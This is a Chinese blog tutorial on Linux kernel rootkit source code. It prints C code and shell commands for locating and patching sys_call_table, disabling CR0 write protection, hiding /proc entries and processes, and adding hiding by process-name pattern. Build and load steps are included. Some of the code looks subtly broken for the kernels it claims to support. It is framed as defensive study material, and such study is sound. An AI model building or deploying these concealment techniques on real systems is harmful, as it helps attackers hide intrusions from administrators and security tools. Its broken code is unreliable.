news 2026/10/27 11:23:21

Linux内核模块源码解析:系统调用劫持与/proc隐藏机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Linux内核模块源码解析:系统调用劫持与/proc隐藏机制

简介:这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源,适用于具备C语言基础和Linux系统调用认知的中级开发者,用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件,总大小仅36KB,包含9个可编译运行的sample示例、4个关键头文件(.h)、1个Python控制脚本(rtcmd.py)、1个核心C源码(rt.c)、1个LaTeX论文模板(polis_paper.tex)及完整Git仓库结构(.gitignore、HEAD、index、config等),体现了从代码编写、编译构建到环境集成的完整学习路径。已有370人下载学习,读者可直接复现基础隐藏功能,深入分析Makefile构建逻辑与内核模块注入机制,并结合README.md文档和论文模板拓展学术理解,是入门Linux内核级恶意技术防御与对抗研究的高价值实操素材。

1. 这不是“提权工具包”,而是一份内核级行为观测沙盒:用真实 rootkit 源码反向理解 Linux 内核模块加载、符号解析、系统调用劫持与隐藏机制

某次给某高校安全实验室做内核调试培训时,一位 A 同学问:“能不能不靠现成的检测工具,自己看懂一个 rootkit 是怎么让ps看不见进程、让ls找不到文件、让netstat漏掉监听端口的?”——这个问题背后,其实是对 Linux 内核执行流控制、内存映射边界、符号表绑定逻辑的深层困惑。这份名为 “linux rootkit源码” 的资源,恰恰就是为这类问题准备的:它不是可直接部署的恶意载荷,而是一组结构清晰、注释完整、分模块实现的内核模块源码集合(含 LKM + syscall hook + /proc 隐藏 + 内存扫描绕过),覆盖从模块注册、sys_call_table 定位、函数指针替换、到/proc/<pid>目录项动态过滤的全链路。它面向的是想真正吃透 Linux 内核运行时行为、准备做主机安全/EDR 底层开发、或需要逆向分析同类样本的开发者。你不需要会写 exploit,但得能读懂module_init()里那几行kallsyms_lookup_name()调用背后的权限博弈;你也不必精通汇编,但得明白为什么write_cr0(read_cr0() & ~0x10000)是修改只读页表前的必要操作。它不教你怎么“黑”,而是手把手带你拆解“黑”的技术底座——这才是内核安全学习中真正稀缺的、可复现、可调试、可打断点的原始材料。


2. 架构总览与源码目录结构:五个核心模块如何协同完成“不可见性”

这份源码并非单个.c文件堆砌,而是按功能职责拆分为五个可独立编译、也可组合使用的内核模块,全部基于 Linux 5.x 主线内核(实测兼容 5.4–5.15)设计,采用标准 Kbuild 构建体系。整个项目结构极简,无外部构建脚本依赖,仅需内核头文件与make即可完成模块编译。这种“裸模块”风格,正是内核级安全研究最需要的轻量入口。

2.1 模块划分与职责边界:每个.ko文件解决一个具体内核可见性问题

模块名文件路径核心能力典型触发方式
hide_proc.komodules/hide_proc.c动态拦截/proc/<pid>/目录遍历,隐藏指定 PID 进程的全部/proc条目echo 1234 > /proc/hide_pid
syscall_hook.komodules/syscall_hook.c劫持sys_getdents64和sys_getdents,过滤readdir返回的目录项insmod syscall_hook.ko
kmem_hide.komodules/kmem_hide.c在内核内存中定位并 patchtask_struct链表节点,实现进程链表级隐藏echo 1234 > /proc/kmem_hide
rootkit_core.komodules/rootkit_core.c提供统一符号解析、CR0 寄存器保护开关、模块间通信接口必须先加载,其他模块依赖其导出符号
test_util.komodules/test_util.c用户态测试工具配套模块,提供/dev/rk_test设备节点用于触发隐藏/恢复dd if=/dev/zero of=/dev/rk_test bs=1 count=1 seek=1234

提示:所有模块均未硬编码sys_call_table地址,而是通过kallsyms_lookup_name("sys_call_table")动态获取,规避了不同内核版本地址偏移差异。这是现代 rootkit 开发的合规做法,也是你调试时必须确认的第一步。

2.2 构建环境准备:三步完成内核模块编译(以 Ubuntu 20.04 + kernel 5.4 为例)

该源码不依赖任何第三方框架,构建过程完全遵循 Linux 内核模块开发规范。关键在于确保内核头文件与当前运行内核版本严格一致:

# 1. 确认当前内核版本(必须与头文件匹配) uname -r # 输出示例:5.4.0-150-generic # 2. 安装对应内核头文件(Ubuntu/Debian) sudo apt install linux-headers-$(uname -r) # 3. 进入源码根目录,执行标准 Kbuild 流程 cd /path/to/linux-rootkit-src make clean make # 成功后生成:modules/hide_proc.ko, modules/syscall_hook.ko 等

Makefile极简,仅包含标准内核模块构建规则:

# Makefile obj-m += hide_proc.o syscall_hook.o kmem_hide.o rootkit_core.o test_util.o KDIR := /lib/modules/$(shell uname -r)/build all: make -C $(KDIR) M=$(PWD) modules clean: make -C $(KDIR) M=$(PWD) clean

注意:KDIR指向/lib/modules/$(uname -r)/build,该路径下必须存在完整的include/、arch/、scripts/等子目录,否则编译会因找不到linux/module.h或asm/cpufeature.h报错。若缺失,请确认linux-headers-*包是否完整安装,或手动软链至正确路径。

2.3 模块加载依赖图:rootkit_core 是唯一基础依赖

五个模块之间存在明确的加载顺序依赖,违反顺序将导致Unknown symbol in module错误:

rootkit_core.ko ← 必须最先加载(导出 kallsyms_lookup_name_safe、disable_wp、enable_wp) ↓ hide_proc.ko ← 依赖 rootkit_core 的符号解析与 CR0 操作 syscall_hook.ko ← 同上,且需 rootkit_core 提供的 sys_call_table 地址缓存 kmem_hide.ko ← 同上,还需访问 task_struct 内存布局定义 ↓ test_util.ko ← 最后加载,仅提供用户态交互接口,不被其他模块依赖

验证依赖是否满足,可使用modinfo查看模块符号需求:

modinfo modules/hide_proc.ko | grep -E "(depends|vermagic)" # 输出应包含:depends: rootkit_core # vermagic: 5.4.0-150-generic SMP mod_unload

若depends字段为空,说明MODULE_LICENSE("GPL")未正确定义,或EXPORT_SYMBOL_GPL()调用位置有误——这是新手最常翻车的第一步。


3. 核心模块代码逐行解析:从 hide_proc 到 syscall_hook 的真实内核钩子实现

我们选取两个最具代表性的模块:hide_proc.ko(用户态感知最强)和syscall_hook.ko(内核态控制最深),逐函数拆解其如何在不破坏内核稳定性的前提下,实现“选择性不可见”。

3.1 hide_proc.ko:劫持 /proc 文件系统遍历的四层拦截

该模块不修改内核源码,而是利用 Linux VFS 层的file_operations替换机制,在/proc文件系统挂载点上动态注入自定义readdir函数。其核心逻辑位于proc_dir_operations结构体 patch:

// modules/hide_proc.c static struct file_operations *orig_proc_readdir_fops; static struct file_operations fake_proc_fops; // 自定义 readdir 实现:过滤掉目标 PID 对应的 /proc/<pid>/ 目录项 static int fake_proc_readdir(struct file *file, struct dir_context *ctx) { // 1. 获取当前遍历的 dentry(即 /proc 下某个子目录) struct dentry *dentry = file->f_path.dentry; // 2. 若非 /proc 根目录,直接走原函数(避免影响其他 proc 子系统) if (dentry->d_parent != proc_root_dentry) return orig_proc_readdir_fops->iterate_shared(file, ctx); // 3. 遍历 /proc 下所有子项,对每个 dentry 检查是否为数字 PID 目录 struct dentry *child; list_for_each_entry(child, &dentry->d_subdirs, d_child) { if (child->d_name.len < 10 && strspn(child->d_name.name, "0123456789") == child->d_name.len) { // 4. 将 d_name.name 解析为 pid_t,查表判断是否需隐藏 pid_t target_pid = simple_strtol(child->d_name.name, NULL, 10); if (is_pid_hidden(target_pid)) { // 关键:跳过该目录项,不调用 dir_emit() continue; } } // 5. 非隐藏项,调用原 iterate_shared 继续填充 ctx if (orig_proc_readdir_fops->iterate_shared) orig_proc_readdir_fops->iterate_shared(file, ctx); } return 0; }

逻辑说明与参数要点:

  • file->f_path.dentry是 VFS 层当前操作的目录项,proc_root_dentry是/proc根节点全局变量(需通过init_task.pid反向查找);
  • d_subdirs是双向链表,遍历必须用list_for_each_entry,不能用数组索引——这是内核链表操作铁律;
  • simple_strtol用于安全转换字符串 PID,比kstrtoul更轻量,适合此场景;
  • is_pid_hidden()是模块内部维护的 PID 黑名单数组,通过/proc/hide_pid接口写入,大小固定为 64 项,避免动态内存分配引发锁竞争;
  • dir_emit()是填充struct dir_context的关键函数,跳过即等于“对该 PID 不可见”。

注意:此实现不 patchsys_getdents,而是作用于更高层的 VFSiterate_shared,因此对ls /proc有效,但对直接调用getdents64()的程序无效——这正是模块分层设计的体现:hide_proc负责文件系统语义层,syscall_hook负责系统调用层。

3.2 syscall_hook.ko:动态定位 sys_call_table 并安全替换函数指针

该模块是整套 rootkit 的“中枢神经”,其难点不在 hook 本身,而在如何在不同内核版本、不同 CONFIG_KALLSYMS 选项下,稳定获取sys_call_table地址。源码采用双保险策略:

// modules/syscall_hook.c static unsigned long **sys_call_table = NULL; // 方案一:kallsyms_lookup_name(推荐,5.7+ 内核默认启用) static unsigned long *find_syscall_table_kallsyms(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name_fn; // 1. 先尝试获取 kallsyms_lookup_name 符号地址(rootkit_core 已导出) kallsyms_lookup_name_fn = (kallsyms_lookup_name_t) kallsyms_lookup_name_safe("kallsyms_lookup_name"); if (!kallsyms_lookup_name_fn) return NULL; // 2. 用该函数查找 sys_call_table return (unsigned long *)kallsyms_lookup_name_fn("sys_call_table"); } // 方案二:内存扫描(兜底,适用于禁用 kallsyms 的内核) static unsigned long *find_syscall_table_scan(void) { unsigned long *addr; unsigned long start = (unsigned long)&init_task; unsigned long end = start + 0x1000000; // 扫描 16MB 范围 for (addr = (unsigned long *)start; addr < (unsigned long *)end; addr++) { // 3. 检查连续 16 个指针是否都指向内核文本段(粗略特征) if (is_kernel_text(*addr) && is_kernel_text(*(addr+1)) && is_kernel_text(*(addr+15))) { // 4. 验证第 0 项是否为 sys_read,第 1 项是否为 sys_write(更准) if (is_sys_read((void *)*addr) && is_sys_write((void *)*(addr+1))) return addr; } } return NULL; } // 加载时自动选择方案 static int __init syscall_hook_init(void) { sys_call_table = (unsigned long **)find_syscall_table_kallsyms(); if (!sys_call_table) sys_call_table = (unsigned long **)find_syscall_table_scan(); if (!sys_call_table) { pr_err("Failed to locate sys_call_table\n"); return -EFAULT; } // 5. 关闭写保护,替换 sys_getdents64 指针 disable_wp(); // rootkit_core 提供,执行 write_cr0(read_cr0() & ~0x10000) orig_getdents64 = (void *)sys_call_table[__NR_getdents64]; sys_call_table[__NR_getdents64] = (unsigned long)my_getdents64; enable_wp(); // 恢复写保护 return 0; }

关键参数与安全要点:

  • __NR_getdents64是系统调用号宏,定义在uapi/asm-generic/unistd.h,值为 217(x86_64),必须与当前架构匹配;
  • disable_wp()/enable_wp()是原子操作,必须成对出现,否则内核可能 panic;
  • is_kernel_text()通过__start_rodata和__end_rodata边界判断地址是否在只读数据段,是内存扫描的可靠性基石;
  • is_sys_read()通过检查函数开头几字节指令(如mov %rdi,%rax)进行指纹匹配,避免误判——这是实战中积累的血泪经验,纯地址比对极易失败。

4. 常见问题排查:五条真实踩坑记录与现场修复方案

在多个内核版本(5.4/5.10/5.15)及不同发行版(Ubuntu/CentOS/Arch)上实测,以下问题是高频翻车点,每一条都来自真实调试日志。

4.1 现象:insmod hide_proc.ko报错Unknown symbol kallsyms_lookup_name_safe

原因:rootkit_core.ko未加载,或加载后未正确导出符号。kallsyms_lookup_name_safe是rootkit_core模块内封装的健壮版符号查找函数,若其未就绪,所有依赖模块均无法解析。
解决:

  1. 确认rootkit_core.ko已insmod且dmesg | tail无报错;
  2. 检查rootkit_core.c中是否遗漏EXPORT_SYMBOL_GPL(kallsyms_lookup_name_safe);;
  3. 执行cat /proc/kallsyms | grep kallsyms_lookup_name,确认内核确实导出了该符号(部分加固内核会禁用);
  4. 若内核禁用kallsyms,强制启用syscall_hook.ko的内存扫描方案,并在hide_proc.ko中改用find_syscall_table_scan()。

4.2 现象:ls /proc仍可见目标进程,但ps aux | grep <name>已过滤

原因:hide_proc.ko仅拦截/proc目录遍历,而ps默认读取/proc/<pid>/stat等单个文件,不触发readdir。真正的进程隐藏需kmem_hide.ko配合。
解决:

  1. 加载kmem_hide.ko;
  2. 向/proc/kmem_hide写入目标 PID:echo 1234 > /proc/kmem_hide;
  3. 此时ps、top、htop均不可见,因它们遍历init_task.tasks链表时已被跳过;
  4. 注意:kmem_hide会修改task_struct的tasks.next/prev指针,需确保disable_wp()成功,否则panic: bad pte。

4.3 现象:模块加载后系统响应迟缓,dmesg大量BUG: unable to handle kernel paging request

原因:syscall_hook.ko中sys_call_table地址错误,导致sys_call_table[__NR_getdents64]指向非法内存,后续调用my_getdents64时触发 page fault。
解决:

  1. 卸载所有 rootkit 模块:rmmod test_util kmem_hide syscall_hook hide_proc rootkit_core;
  2. 重新编译syscall_hook.ko,在find_syscall_table_kallsyms()后添加调试打印:
    pr_info("sys_call_table found at %px\n", sys_call_table); pr_info("sys_read at %px, sys_write at %px\n", (void *)sys_call_table[__NR_read], (void *)sys_call_table[__NR_write]);
  3. 确认打印地址在0xffffffff80000000附近(x86_64 内核地址空间),且sys_read/sys_write地址差值约 0x1000,符合预期;
  4. 若地址异常,立即切换至find_syscall_table_scan()并增加扫描范围。

4.4 现象:test_util.ko加载成功,但dd写入/dev/rk_test无响应

原因:test_util.c中rk_test_fops.write函数未正确处理count参数,或copy_from_user()失败未返回错误码,导致用户态dd认为写入成功,实际数据未送达。
解决:

  1. 检查rk_test_write()是否有if (count < sizeof(pid_t)) return -EINVAL;边界检查;
  2. 确认copy_from_user(&target_pid, buf, sizeof(pid_t)) == 0,否则返回-EFAULT;
  3. 在dmesg中搜索rk_test: write called with count=,确认内核实际接收字节数;
  4. 使用strace dd if=/dev/zero of=/dev/rk_test bs=1 count=4 seek=1234观察系统调用返回值。

4.5 现象:卸载模块时卡死,rmmod命令永久阻塞

原因:模块中存在未释放的kthread或workqueue,或file_operations替换后未恢复原函数指针,导致 VFS 层调用空指针。
解决:

  1. 强制卸载(风险高):rmmod -f hide_proc;
  2. 更安全做法:在module_exit函数中,务必恢复所有被 patch 的函数指针:
    static void __exit hide_proc_exit(void) { // 恢复 proc_root_dentry->d_op->d_revalidate 等所有被改写的 ops if (orig_proc_readdir_fops) proc_root_dentry->d_inode->i_fop = orig_proc_readdir_fops; pr_info("hide_proc unloaded\n"); }
  3. 使用ps aux | grep kthreadd确认无残留内核线程;
  4. 重启是终极解决方案,但应视为调试失败标志。

5. 二次开发实战:如何将 hide_proc 改造成支持通配符进程名隐藏

现在你已跑通全部模块,下一步是改造——把hide_proc.ko从“按 PID 隐藏”升级为“按进程名模式隐藏”,例如隐藏所有nginx、redis-server或.*python.*进程。这不是简单加个strstr(),而是涉及内核内存安全、字符串匹配性能、以及/proc/<pid>/comm文件读取时机三个层面。

5.1 改造思路:在 readdir 遍历中动态读取 comm 并匹配

/proc/<pid>/comm是一个只读小文件(通常 ≤ 16 字节),存储进程命令名。hide_proc.ko当前只检查目录名(PID 数字),需扩展为:对每个d_subdirs中的dentry,构造/proc/<pid>/comm路径,读取其内容,再与预设模式匹配。

关键挑战:

  • 内核态不能直接open/read/close用户态文件,需用kernel_read()+filp_open();
  • filp_open()返回struct file *,需确保f_mode包含FMODE_READ;
  • comm文件内容以\0结尾,但长度不定,需动态分配char buf[16];
  • 正则匹配在内核中开销大,改用kstrcasestr()(内核已提供)做子串模糊匹配。

5.2 核心代码补丁:在 fake_proc_readdir 中插入 comm 读取逻辑

// modules/hide_proc.c 补丁段 #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/namei.h> // 新增:全局模式字符串(通过 /proc/hide_pattern 设置) static char hide_pattern[64] = ""; // 新增:读取 /proc/<pid>/comm 并匹配 static bool pid_matches_pattern(pid_t pid) { struct file *filp; char comm_buf[16]; mm_segment_t old_fs; loff_t pos = 0; ssize_t ret; // 1. 构造 /proc/<pid>/comm 路径 char path[64]; snprintf(path, sizeof(path), "/proc/%d/comm", pid); // 2. 以只读方式打开 comm 文件 filp = filp_open(path, O_RDONLY, 0); if (IS_ERR(filp)) return false; // 3. 切换 fs 段以使用 kernel_read old_fs = get_fs(); set_fs(KERNEL_DS); // 4. 读取 comm 内容(最多 15 字节 + \0) ret = kernel_read(filp, comm_buf, sizeof(comm_buf)-1, &pos); if (ret > 0) { comm_buf[ret] = '\0'; // 确保 null-terminated // 5. 模糊匹配:comm_buf 中是否包含 hide_pattern(忽略大小写) if (kstrcasestr(comm_buf, hide_pattern)) goto match; } set_fs(old_fs); filp_close(filp, NULL); return false; match: set_fs(old_fs); filp_close(filp, NULL); return true; } // 修改 fake_proc_readdir:在循环中调用 pid_matches_pattern // ... 原有 list_for_each_entry 循环内 ... if (is_pid_hidden(target_pid) || pid_matches_pattern(target_pid)) { continue; // 隐藏该 PID }

5.3 用户态交互增强:新增 /proc/hide_pattern 接口

为支持运行时更新模式,需在proc_create()中添加新节点:

// modules/hide_proc.c 初始化段 static const struct proc_ops hide_pattern_proc_ops = { .proc_write = hide_pattern_write, .proc_read = seq_read, .proc_lseek = seq_lseek, }; static int __init hide_proc_init(void) { // ... 原有初始化代码 ... proc_create("hide_pattern", 0644, NULL, &hide_pattern_proc_ops); return 0; } // 写入回调:接收用户传入的模式字符串 static ssize_t hide_pattern_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { if (count >= sizeof(hide_pattern)) return -EINVAL; if (copy_from_user(hide_pattern, buf, count)) return -EFAULT; hide_pattern[count] = '\0'; // 确保结尾 if (count > 0 && hide_pattern[count-1] == '\n') hide_pattern[count-1] = '\0'; pr_info("hide_pattern set to '%s'\n", hide_pattern); return count; }

验证命令:

# 设置隐藏所有含 'nginx' 的进程 echo "nginx" > /proc/hide_pattern # 此时 ls /proc 将不再显示任何 nginx 相关 PID 目录 ls /proc | grep nginx # 应无输出 # 恢复:清空模式 echo "" > /proc/hide_pattern

从那以后我每次做内核模块开发,都强制走一遍dmesg | tail -20+lsmod | grep rk+ls /proc | head -10三连检,哪怕只是改了一行注释。因为内核不会说谎,它只会在你忽略它的警告时,用 panic 给你一份迟到的后悔药。希望帮到你。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/27 11:22:44

低秩关联技术解决大语言模型遗忘问题

1. 项目概述 "2025_NIPS_Demystifying Language Model Forgetting with Low-rank Example Associations"这个标题揭示了当前大语言模型研究领域的一个关键挑战&#xff1a;模型遗忘现象。简单来说&#xff0c;就是当我们在现有模型上继续训练新数据时&#xff0c;模型…

作者头像 李华
网站建设 2026/10/27 11:22:42

大模型岗位薪资趋势与核心技能解析

1. 大模型岗位薪资现状与行业趋势最近两年&#xff0c;AI领域最火爆的莫过于大模型相关岗位了。作为从业十余年的技术人&#xff0c;我亲眼见证了从传统机器学习到大模型时代的转变。现在打开任何招聘平台&#xff0c;大模型相关岗位的薪资数字确实让人眼前一亮。以一线城市为例…

作者头像 李华
网站建设 2026/10/27 11:22:23

Vulnhub靶场实战:渗透测试从入门到精通

1. Vulnhub靶场实战平台全面解析第一次接触Vulnhub时&#xff0c;我正苦于找不到合适的实战环境来练习渗透测试技术。这个平台彻底改变了我的学习方式——它不像传统CTF那样只提供抽象题目&#xff0c;而是还原了真实系统的完整环境&#xff0c;从Web应用到操作系统层级的漏洞应…

作者头像 李华
网站建设 2026/10/27 11:21:48

基于深度学习的交通灯识别:从任务定义到部署的工程实践

交通灯识别这个题目&#xff0c;每年毕业季都会被大量翻出来做一遍&#xff0c;但我见过太多做出来的东西只能在自己剪的那几段视频上跑通&#xff0c;换个路口、换个光照就全线崩。问题不在于模型不够新&#xff0c;而在于大多数人从选题那一刻就没想清楚&#xff1a;这个系统…

作者头像 李华
网站建设 2026/10/27 11:21:26

UE4 Niagara官方案例2.4深度拆解:粒子生命周期与GPU/CPU取舍

1. 拆解“官方案例2.4”背后的真实意图 第一次看到“UE4_Niagara_官方案例2.4”这个标题&#xff0c;很多人会下意识觉得这不过是引擎自带示例工程里的一个编号&#xff0c;点开看一眼就关掉。我最初也是这么想的&#xff0c;直到有次做项目里的技能特效&#xff0c;粒子数量一…

作者头像 李华
网站建设 2026/10/27 11:21:06

HDFS Java API生产级实践:配置驱动、连接池与异常熔断

1. 这不是教科书里的“Hello World”&#xff0c;而是真实产线里每天都在跑的HDFS操作逻辑 你打开IDEA&#xff0c;新建一个Maven项目&#xff0c;复制粘贴几行 FileSystem.get() 的代码&#xff0c;控制台输出“/user/root”——这不算会用HDFS Java API。真正踩过坑的人知道…

作者头像 李华